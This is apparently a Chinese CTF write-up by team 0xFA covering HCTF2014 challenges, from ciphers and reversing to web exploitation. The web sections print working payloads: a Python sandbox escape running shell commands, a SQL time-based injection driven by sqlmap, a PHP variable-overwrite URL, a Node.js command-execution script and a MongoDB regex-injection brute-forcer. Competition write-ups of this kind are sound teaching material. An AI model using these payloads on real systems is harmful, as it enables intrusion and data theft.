HCTF2014 Writeup

Team:0xFA


这次和学弟学妹一起也是蛮拼的,希望能带起你们的激情,好好努力!

总结不足,弥补不足,继续加油吧~

丘比龙的最爱(10pt)

丘比龙吃什么吃胖了飞不起来?

甜甜圈

flag:甜甜圈

Entry(200pt)

题目给了串字符:

57r9s980rnos49973s757pqo9s80q36p

根据题目描述中的 13,想到了 rot-13,直接秒了:

57e9f980eabf49973f757cdb9f80d36c --> md5(Qoobee)

flag:Qoobee

babyCrack(100pt)

.net的,直接反编译:

private void button1_Click(object sender, EventArgs e)
{
    bool flag = false;
    Config.user = this.textBox1.Text;
    string user = Config.user;
    string str2 = "hctf{bABy_CtsvlmE_!}";
    if (str2.CompareTo(user) == 0)
    {
        flag = true;
    }
    if (flag)
    {
        MessageBox.Show("good !!!");
    }
}

flag:hctf{bABy_CtsvlmE_!}

babyCrack2(100pt)

题目给了个可执行文件:

~ ⮀ file babyCrack2.exe
babyCrack2.exe: PE32 executable for MS Windows (console) Intel 80386 32-bit

直接拖到IDA里,翻一翻就可以看到flag(话说程序逻辑是不是有问题?):

.text:00401010                 push    ebp
.text:00401011                 mov     ebp, esp
.text:00401013                 sub     esp, 0E4h
.text:00401019                 push    ebx
.text:0040101A                 push    esi
.text:0040101B                 push    edi
.text:0040101C                 lea     edi, [ebp+var_E4]
.text:00401022                 mov     ecx, 39h
.text:00401027                 mov     eax, 0CCCCCCCCh
.text:0040102C                 rep stosd
.text:0040102E                 mov     [ebp+var_20], offset aIdug35utCcbzDu ; "idug|3`5ut`CCbZ`DusnF`34~"
.text:00401035                 cmp     [ebp+arg_0], 1
.text:00401039                 jnz     short loc_40104F
.text:0040103B                 push    offset aTryAgain1 ; "try again1!!!\n"
.text:00401040                 call    sub_40117C
.text:00401045                 add     esp, 4
.text:00401048                 push    0               ; int
.text:0040104A                 call    _exit

flag:


## GIFT(100pt)

打开题目,查看源码发现了这句话:As thanks, we provide gifts(flag) -index.php.bak for you.

于是打开index.php.bak,整理后如下

```php
<?php
$flag='xxx';
extract($_GET);
if(isset($gift)){
$content=trim(file_get_contents($flag));
if($gift==$content){
echo'hctf{...}';}
else{echo'Oh..';}
}
?>

看到extract($_GET),很明显的变量覆盖漏洞,于是我们可以控制$flag和$gift,满足$gift==$content即能拿到flag。我们已知index.php.bak的内容,于是让$flag为index.php.bak的内容,$gift为index.php.bak即可。

构造url:

http://121.40.86.166:39099/index.php?gift=<?php$flag='xxx';extract($_GET);if(isset($gift)){$content=trim(file_get_contents($flag));if($gift==$content){echo'hctf{...}';}else{echo'Oh..';}}?>&flag=index.php.bak

得到flag:hctf{Awe3ome_Ex7ract!!!}

nvshen(100pt)

题目给了个base64编码后的图片:

iVBORw0KGgoAAAANSUhEUgAAAdIAAAGUCAYAAACBYaNHAAAKQWlDQ1BJQ0MgUHJvZmlsZQAASA2dlndUU9kWh8+9N73QEiIgJfQaegkg0jtIFQRRiUmAUAKGhCZ2RAVGFBEpVmRUwAFHhyJjRRQLg4Ji1wnyEFDGwVFEReXdjGsJ7601896a/cdZ39nnt9fZZ+9917oAUPyCBMJ0WAGANKFYFO7rwVwSE8vE9wIYEAEOWAHA4WZmBEf4RALU/L09mZmoSMaz9u4ugGS72yy/UCZz1v9/kSI3QyQGAApF1TY8fiYX5QKUU7PFGTL/BMr0lSkyhjEyFqEJoqwi48SvbPan5iu7yZiXJuShGlnOGbw0noy7U......(太长省略)

解码成png图片:

linux命令:

~ ⮀ cat nvshen.txt | base64 --decode > nvshen.png

url伪协议:

data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAdIAAAGUCAYAAACBYaNHAAAKQWlDQ1BJQ0MgUHJvZmlsZQAASA2dlndUU9kWh8+9N73QEiIgJfQaegkg0jtIFQRRiUmAUAKGhCZ2RAVGFBEpVmRUwAFHhyJjRRQLg4Ji1wnyEFDGwVFEReXdjGsJ7601896a/cdZ39nnt9fZZ+9917oAUPyCBMJ0WAGANKFYFO7rwVwSE8vE9wIYEAEOWAHA4WZmBEf4RALU/L09mZmoSMaz9u4ugGS72yy/UCZz1v9/kSI3QyQGAApF1TY8fiYX5QKUU7PFGTL/BMr0lSkyhjEyFqEJoqwi48SvbPan5iu7yZiXJuShGlnOGbw0noy7U......(太长省略)

得到一张女神图片(表示真不知道是谁,百度一下以为是柳岩,结果错了)。

flag:爱新觉罗启星

IRC(300pt)

这题略坑,到官方IRC里找flag(有故意刷人气的嫌疑),经过一阵折腾之后通过whois查询每一个房间里的人,最终在 klroot 用户的whois信息中找到了flag。

flag:hctf{ZXwz_ym_dinDIM_daDi_!}

##FuckMe(350pt)

把洋字符看成是字母替换后的对应的密文就行,此题可根据词频来计算。也可根据flag的格式来找到入手点 hctf{xxx},在文中找到 おいひд{ёгфすχχすζшのёけдэгおいひд},得到如下对应关系:

お ==> h
い ==> c
ひ ==> t
д ==> f

将此4个替换原密文,然后根据敏锐的洞察力和扎实的英文基础得到25个字母(’z’未出现)的对应关系:

я ==> a  ю ==> b  い ==> c  う ==> d
ё ==> e  д ==> f  え ==> g  お ==> h
э ==> i  ф ==> j  я ==> k  け ==> l  
ы ==> m  г ==> n  す ==> o  せ ==> p  
ж ==> q  ш ==> r  の ==> s  ひ ==> t  
ζ ==> u  θ ==> v  ξ ==> w  π ==> x  
χ ==> y  ? ==> z

解密整篇文章:

in cryptanalysis, frequency analysis is the study of the frequency of letters or groups of letters in a ciphertext. the method is used as an aid to breaking classical ciphers.

...

the first known recorded explanation of frequency analysis (indeed, of any kind of cryptanalysis) was given in the 9th century by al-kindi, an arab polymath, in a manuscript on deciphering cryptographic messages.[3] it has been suggested that close textual study of the qur'an first brought to light that arabic has a hctf{enjoyyourselfinhctf}.characteristic letter frequency.[4] its use spread, and similar systems were widely used in european states by the time of the renaissance. by 1474, cicco simonetta had written a manual on deciphering encryptions of latin and italian text.[5] arabic letter frequency and a detailed study of letter and word frequency analysis of the entire book of qur'an are provided by intellaren articles.

...

flag:hctf{enjoyyourselfinhctf}

FIND(200pt)

题目给了张比较大的图片,提示给了是隐写,直接掏出神器 Stegsolve.jar

在该图片的其它色度上隐藏了一张二维码,微信扫一扫即可得到flag。

flag:flag{hctf_3xF$235#\x5e3}

starbucks(400pt)

tips:nc 115.29.191.81 15878

~ ⮀ nc 115.29.191.81 15878
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)

nc上去一看是python里code模块的一个交互式解释器,但是测试一番后发现删除了某些symbol,并且在交互下没有输出,只有在正常exit()时候才会返回交互输出。

网上搜索了一下发现了与该题类似的一个Paper:

https://github.com/PyCodersCN/PyCodersCN/blob/3328d1ed08d33232e1eca0d92f679508f002c809/issue17/eval-really-is-dangerous.rst

同时在google上又发现了picoctf上的一道题目与此类似(为何又是这样):

http://jonathanzong.com/picoctf/2013/05/07/python-eval-5-140

直接根据文章中的POC即可执行命令:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["os"].system('ls')

经过一番搜索后,发现flag的路径为:/home/starbucks/grande/greentea/latte/flag

~ ⮀ nc 115.29.191.81 15878
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ ==     'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["os"].system('find /home -name flag');exit()
/home/starbucks/grande/greentea/latte/flag
>>> 0

然后读取flag的内容:

~ ⮀ nc 115.29.191.81 15878
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["os"].system('cat /home/starbucks/grande/greentea/latte/flag');exit()
hctf{J_do_mo_xyz_!_123_HAHA_lee}
>>> 0

PS:这里也能读取程序本身代码(/home/starbucks/starbucks.py):

 ~ ⮀ nc 115.29.191.81 15878
Python 2.7.6 (default, Mar 22 2014, 22:59:56)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
(InteractiveConsole)
().__class__.__bases__[0].__subclasses__()[40]('/home/starbucks/starbucks.py').read();exit()
>>> "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom code import InteractiveConsole\n\nvars = globals().copy()\nvars.update(locals())\nshell = InteractiveConsole(vars)\n# shell.interact()\n\n# rm unsafe\ndef make_safe():\n    UNSAFE = ['open',\n              'file',\n              'execfile',\n              #'compile',\n              'reload',\n              '__import__',\n              'eval',\n              'input']\n    for func in UNSAFE:\n        del __builtins__.__dict__[func]\n\ndel vars\nmake_safe()\n\nshell.interact()\n"

starbucks.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from code import InteractiveConsole
vars = globals().copy()
vars.update(locals())
shell = InteractiveConsole(vars)
# shell.interact()

# rm unsafe
def make_safe():
UNSAFE = ['open',
'file',
'execfile',
#'compile',
'reload',
'__import__',
'eval',
'input']
for func in UNSAFE:
del __builtins__.__dict__[func]


del vars
make_safe()
shell.interact()

flag:hctf{J_do_mo_xyz_!_123_HAHA_lee}

jianshu(400pt)

这题比较坑,一开始陷入了出题者xss的奇淫贱术中,通过xss拿到了提交content查看的url http://121.41.37.11:25045/get.php?user=V1ew 和 合法访问的ip地址:218.75.123.186

期间访问 http://121.41.37.11:25045/get.php?user= 时提示在数据库中的log去找 user 所对应的可选值。

后来发现根目录下有张图片 2.jpg,内容是 sqlmap 的介绍,然后开始寻找注入点,在 http://121.41.37.11:25045/img.php?file=1.jpg 这里发现了猫腻,此处存在盲注:

http://121.41.37.11:25045/img.php?file=' or if((32=32),sleep(10),2)%231.jpg

然后直接丢进sqlmap开始跑:

sqlmap -v 3 --technique=T -u "http://121.41.37.11:25045/img.php?file=*%231.jpg" --level=5 --threads=10 --dbs

跑出3个库:

available databases [3]:
[*] information_schema
[*] t2_db
[*] test

information_schematest 都没什么好看的,直接跑 t2_db 的表:

sqlmap -v 3 --technique=T -u "http://121.41.37.11:25045/img.php?file=*%231.jpg" --level=5 --threads=10 -D t2_db --tables

得到3张表:

Database: t2_db
[3 tables]
+---------+
| content |
| file    |
| log     |
+---------+

tips叫我们去看log的信息,就直接跑log的字段吧:

sqlmap -v 3 --technique=T -u "http://121.41.37.11:25045/img.php?file=*%231.jpg" --level=5 --threads=10 -D t2_db -T log --columns

结果显示只有2个字段:

Database: t2_db
Table: log
[2 columns]
+--------+------+
| Column | Type |
+--------+------+
| param  | text |
| type   | text |
+--------+------+

然后开始dump log 表的数据:

sqlmap -v 3 --technique=T -u "http://121.41.37.11:25045/img.php?file=*%231.jpg" --level=5 --threads=10 -D t2_db -T log -C param,type --dump

得到我们所需的数据:

Database: t2_db
Table: log
[3 entries]
+-------+----------+
| param | type     |
+-------+----------+
| user  | A1rB4s1C |
| user  | guest    |
| user  | V1ew     |
+-------+----------+

然后修改 X-Forwarded-For 来让自己ip变为程序认为是合法的地址(218.75.123.186)去访问如下url:

http://121.41.37.11:25045/get.php?user=A1rB4s1C

flag:hctf{Why_are_U_S0_DIA0?????}

opensource(300pt)

一开始各种google,baidu源码,发现了有 .git 目录。后来队友发现wooyun上有个案例:友盟网git服务使用不当导致源代码泄露

根据这个案例提供的方法把 art-cli 的源码down到本地进行审计。

然后在 /app.js 中发现了另一个根目录:

...
app.use(favicon());
app.use(logger('dev'));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded());
app.use(cookieParser());

app.use('/', routes);
app.use('/ac6555bfe23f5fe7e98fdcc0cd5f2451', pangci);

/// catch 404 and forwarding to error handler
...

然后看程序对 /ac6555bfe23f5fe7e98fdcc0cd5f2451 路径的处理函数,对应文件 /routes/pangci.js

var express = require('express');
var router = express.Router();
var fs = require('fs');
var path = require('path');
var cp = require('child_process');

router.get('/', function(req, res) {
var data = path.normalize('/tmp/flag');

if (req.param('pangci')) {
cp.exec(secure(req.param('pangci')) + ' ' + data, function (err, stdout, stderr) {
if (err) { res.end('Ohhhhh MY SWEET!!!YOOOOOO HURT ME!!') }
var limit = stdout.split('\n').slice(0, 5).join('\n');
res.end(limit);
});
} else {
res.end('HEY MY SWEET!!! I LOVE YOOOOOOOO!!!');
}

});

function secure (str) {
return str.replace(/[^\d\-a-zA-Z ]/g, '');
}

module.exports = router;

可以发现这里有个很明显的命令执行:

cp.exec()

可直接cat数据:

http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451/?pangci=cat

但是程序默认只返回命令执行结果的5行,因此写个程序来循环读取flag(通过测试flag有143行):

#!/usr/bin/env python
# coding: utf-8

import requests

outfile = open('flag.txt', 'w')
r_url = 'http://121.40.86.166:39339/ac6555bfe23f5fe7e98fdcc0cd5f2451/?pangci='
n = 143
r = n / 5 + 1
for i in range(r):
response = requests.get(r_url + 'tail -n %s' % str(n))
#print r_url + 'tail -n %s' % str(n)
m = response.content
outfile.write(m + '\n')
n -= 5

flag:hctf{Ar3_you_an_op3nsourc3_1ov3r?}

LOCK(300pt)

题目是个登陆框,且注释里有tips:

<!-- wtf!! The key is the same as lock !! Can someone help to find the right lock ?!!!-->

随即登陆,得到返回信息:

It seeeeeeemed the lock is not right!!!(╯°□°)╯︵ ┻━┻

后排出普通sql注入,发现服务器上有开放27017(mongodb端口),因此开始mongodb注入尝试,通过post数据:

lock[$ne]=1&key=2

得到不一样的返回页面,

Right, but it seemmed the key is not right!!!(╯°□°)╯︵ ┻━┻(╯°□°)╯︵ ┻━┻(╯°□°)╯︵ ┻━┻

从而判断lock变量存在mongodb注入,因lock肯定为一字符串,可以用正则来爆,程序如下:

#!/usr/bin/env python
# coding: utf-8

import requests
import re
import sys


vul_url = 'http://121.40.86.166:23339'


def build_payload(s):
post_data = {
'lock[$regex]': r'^%s.*' % s,
'key': ''
}
return post_data


def fuzz_char(s):
#可加入其他可打印字符
for c in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789':
payload = s + c
response = requests.post(vul_url, data=build_payload(payload))
m = re.compile('Right').findall(response.content)

if m:
print '[*] Fuzzing: "%s" [ok]' % payload
fuzz_char(payload)

print '[*] Found $lock value: "%s"' % s
sys.exit()

lock = ''
fuzz_char(lock)

跑了一会儿,得到最终的lock值:9cc32bd6

post数据,得到flag:
lock=9cc32bd6&key=9cc32bd6

flag:hctf{Middleware_1s_al3o_Vulnerability!}

NormalFile(300pt)

下载⽂文件下来 NormalFile.jpg 明显后⾯面有数据,解开之后发现__MACOSX下⾯面的同名图⽚片诡异的⼤:

img

然后简单分析了下,发现有个apk:

img

我就直接把classes.dex提出来看了,在⾥里⾯面发现了关键的验证算法,如下:

img

前⾯面还有⼀一部分,把两段合起来,不过我们不⽤用管,反正这个16位的就是最后的flag,分析了⼀一会,然后发现这⾥里⾯面的关系得不出唯⼀一得flag,没办法就去找其他线索,先把完整apk扣出来:

img

然后就是翻啊翻,许久之后,果然发现了⼀一点东⻄西:

img

这⾥里的“++”可以合刚刚源码⾥里的对应起来:

img

有了这些信息就够了,整理关系,如下:

0       ='4'        '4'
1       ='n'        'n'
2       =112^'4'    'D'
3       ='n'^28     'r'
4       ='0'        '0'
5       ='p'^91     '1'
6       =83^'0'     'c'
7       =10='l'     'l'
8       ='1'        '1'
9       =4='0'      '0'
10      ='1'^93     'l'
11      ='+'^87     '|'
12      ='!'        '!'
13      ='p'        'p'
14      ='!'^112    'Q'
15      =13='p'     'p'

flag:hctf{4nDr01cl10l|!pQp}

wow(400pt)

此题直接分析,基本流程是这样的:

输⼊入flag,⻓长度22位,每字节依次和程序⾥里⾯面保存的话按字节相乘,再相加,如图6,是部分,计算的时候会只保留字⺟母,不⾜足的补0:

img

一共有22句话,计算22次,会生成22个数,依次和程序里Verify数组保存的数比较:

img

那么…flag就是解22阶的线性⽅方程组了。我偷懒⽤用了Matlab。

>>A=[
84 , 104 , 101 , 108 , 105 , 103 , 104 , 116 , 84 , 111 , 107 , 101 , 101 , 112 , 105 , 110 , 109 , 105 , 110 , 100 , 116 , 104 , ;
84 , 105 , 109 , 101 , 105 , 115 , 109 , 111 , 110 , 101 , 121 , 109 , 121 , 102 , 114 , 105 , 101 , 110 , 100 , 0 , 0 , 0 , ;
87 , 101 , 108 , 99 , 111 , 109 , 101 , 116 , 111 , 116 , 104 , 101 , 97 , 117 , 103 , 101 , 114 , 82 , 117 , 105 , 77 , 97 , ;
65 , 114 , 101 , 121 , 111 , 117 , 104 , 101 , 114 , 101 , 116 , 111 , 112 , 108 , 97 , 121 , 102 , 111 , 114 , 116 , 104 , 101 , ;
84 , 111 , 97 , 114 , 109 , 115 , 121 , 101 , 114 , 111 , 117 , 115 , 116 , 97 , 98 , 111 , 117 , 116 , 115 , 87 , 101 , 118 , ;
65 , 104 , 104 , 119 , 101 , 108 , 99 , 111 , 109 , 101 , 116 , 111 , 109 , 121 , 112 , 97 , 114 , 108 , 111 , 114 , 0 , 0 , ;
83 , 108 , 97 , 121 , 116 , 104 , 101 , 109 , 105 , 110 , 116 , 104 , 101 , 109 , 97 , 115 , 116 , 101 , 114 , 115 , 110 , 97 , ;
89 , 101 , 115 , 114 , 117 , 110 , 73 , 116 , 109 , 97 , 107 , 101 , 115 , 116 , 104 , 101 , 98 , 108 , 111 , 111 , 100 , 112 , ;
83 , 104 , 104 , 104 , 105 , 116 , 119 , 105 , 108 , 108 , 97 , 108 , 108 , 98 , 101 , 111 , 118 , 101 , 114 , 115 , 111 , 111 , ;
75 , 110 , 101 , 101 , 108 , 98 , 101 , 102 , 111 , 114 , 101 , 109 , 101 , 119 , 111 , 114 , 109 , 0 , 0 , 0 , 0 , 0 , ;
82 , 117 , 110 , 119 , 104 , 105 , 108 , 101 , 121 , 111 , 117 , 115 , 116 , 105 , 108 , 108 , 99 , 97 , 110 , 0 , 0 , 0 , ;
82 , 105 , 115 , 101 , 109 , 121 , 115 , 111 , 108 , 100 , 105 , 101 , 114 , 115 , 82 , 105 , 115 , 101 , 97 , 110 , 100 , 102 , ;
76 , 105 , 102 , 101 , 105 , 115 , 109 , 101 , 97 , 110 , 105 , 110 , 103 , 108 , 101 , 115 , 104 , 84 , 104 , 97 , 116 , 119 , ;
66 , 111 , 119 , 116 , 111 , 116 , 104 , 101 , 109 , 105 , 103 , 104 , 116 , 111 , 102 , 116 , 104 , 101 , 72 , 105 , 103 , 104 , ;
84 , 104 , 101 , 102 , 105 , 114 , 115 , 116 , 107 , 105 , 108 , 108 , 103 , 111 , 101 , 115 , 116 , 111 , 109 , 101 , 65 , 110 , ;
73 , 116 , 105 , 115 , 97 , 115 , 105 , 116 , 115 , 104 , 111 , 117 , 108 , 100 , 98 , 101 , 0 , 0 , 0 , 0 , 0 , 0 , ;
84 , 104 , 101 , 100 , 97 , 114 , 107 , 118 , 111 , 105 , 100 , 97 , 119 , 97 , 105 , 116 , 115 , 121 , 111 , 117 , 0 , 0 , ;
73 , 110 , 111 , 114 , 100 , 101 , 114 , 116 , 111 , 109 , 111 , 114 , 101 , 103 , 108 , 111 , 114 , 121 , 111 , 102 , 77 , 105 , ;
82 , 101 , 109 , 101 , 109 , 98 , 101 , 114 , 116 , 104 , 101 , 115 , 117 , 110 , 116 , 104 , 101 , 119 , 101 , 108 , 108 , 111 , ;
77 , 97 , 121 , 116 , 104 , 101 , 119 , 105 , 110 , 100 , 103 , 117 , 105 , 100 , 101 , 121 , 111 , 117 , 114 , 114 , 111 , 97 , ;
83 , 116 , 114 , 101 , 110 , 103 , 116 , 104 , 97 , 110 , 100 , 72 , 111 , 110 , 111 , 117 , 114 , 0 , 0 , 0 , 0 , 0 , ;
66 , 108 , 111 , 111 , 100 , 97 , 110 , 100 , 116 , 104 , 117 , 110 , 100 , 101 , 114 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , ;
];
>>b=[ 226250 , 203743 , 226551 , 234502 , 235972 , 215772 , 232456 , 232328 , 232032 , 177512 , 205937 , 228842 , 225175 , 227556 , 231174 , 167952 , 216099 , 233208 , 233001 , 234078 , 177660 , 153678 ]’;
>> A\b

结果如下:

ans =
104.0000
99.0000
116.0000
102.0000
123.0000
76.0000
74.0000
95.0000
121.0000
54.0000
99.0000
100.0000
99.0000
95.0000
113.0000
119.0000
101.0000
101.0000
114.0000
116.0000
33.0000
125.0000

>>a=[ 104.0000, 99.0000, 116.0000, 102.0000, 123.0000, 76.0000, 74.0000, 95.0000, 121.0000, 54.0000, 99.0000, 100.0000, 99.0000, 95.0000, 113.0000, 119.0000, 101.0000, 101.0000, 114.0000, 116.0000, 33.0000, 125.0000]

>>print ''.join(map(lambda x: chr(int(x)) ,a))

flag:hctf{LJ_y6cdc_qweert!}